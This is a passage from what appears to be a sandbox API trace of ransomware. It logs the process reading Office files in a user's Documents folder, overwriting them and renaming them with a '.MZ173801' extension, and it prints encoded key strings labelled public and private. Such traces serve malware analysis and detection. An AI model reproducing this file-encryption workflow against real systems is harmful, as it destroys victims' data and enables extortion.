CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.232] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.232] GetCurrentThreadId () returned 0xab4 [0169.232] GetCurrentThreadId () returned 0xab4 [0169.232] GetCurrentThreadId () returned 0xab4 [0169.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Bm_0O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\bm_0o.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.232] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.233] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.233] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xc3e2 [0169.233] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.233] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0xc3e2, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0xc3e2, lpOverlapped=0x0) returned 1 [0169.234] CloseHandle (hObject=0x2f8) returned 1 [0169.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Bm_0O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\bm_0o.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.237] WriteFile (in: hFile=0x2f8, lpBuffer=0x24b5e70*, nNumberOfBytesToWrite=0xc3e2, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b5e70*, lpNumberOfBytesWritten=0x19f758*=0xc3e2, lpOverlapped=0x0) returned 1 [0169.239] CloseHandle (hObject=0x2f8) returned 1 [0169.239] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Bm_0O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\bm_0o.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Bm_0O.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\bm_0o.pptx.mz173801")) returned 1 [0169.240] GetCurrentThreadId () returned 0xab4 [0169.240] GetCurrentThreadId () returned 0xab4 [0169.240] GetCurrentThreadId () returned 0xab4 [0169.240] GetCurrentThreadId () returned 0xab4 [0169.240] GetCurrentThreadId () returned 0xab4 [0169.240] GetCurrentThreadId () returned 0xab4 [0169.240] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5152800, ftCreationTime.dwHighDateTime=0x1d5ef85, ftLastAccessTime.dwLowDateTime=0xe3db3bc0, ftLastAccessTime.dwHighDateTime=0x1d5eed8, ftLastWriteTime.dwLowDateTime=0xe3db3bc0, ftLastWriteTime.dwHighDateTime=0x1d5eed8, nFileSizeHigh=0x0, nFileSizeLow=0xe858, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="FLOta7xX0gkrp_QvZlm.pps", cAlternateFileName="FLOTA7~1.PPS")) returned 1 [0169.240] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.240] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.240] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\FLOta7xX0gkrp_QvZlm.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\flota7xx0gkrp_qvzlm.pps"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5152800, ftCreationTime.dwHighDateTime=0x1d5ef85, ftLastAccessTime.dwLowDateTime=0xe3db3bc0, ftLastAccessTime.dwHighDateTime=0x1d5eed8, ftLastWriteTime.dwLowDateTime=0xe3db3bc0, ftLastWriteTime.dwHighDateTime=0x1d5eed8, nFileSizeHigh=0x0, nFileSizeLow=0xe858)) returned 1 [0169.241] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\FLOta7xX0gkrp_QvZlm.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\flota7xx0gkrp_qvzlm.pps")) returned 0x20 [0169.241] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\FLOta7xX0gkrp_QvZlm.pps", dwFileAttributes=0x80) returned 1 [0169.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.244] GetCurrentThreadId () returned 0xab4 [0169.244] GetCurrentThreadId () returned 0xab4 [0169.244] GetCurrentThreadId () returned 0xab4 [0169.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.245] GetCurrentThreadId () returned 0xab4 [0169.245] GetCurrentThreadId () returned 0xab4 [0169.245] GetCurrentThreadId () returned 0xab4 [0169.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\FLOta7xX0gkrp_QvZlm.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\flota7xx0gkrp_qvzlm.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.245] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.245] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, 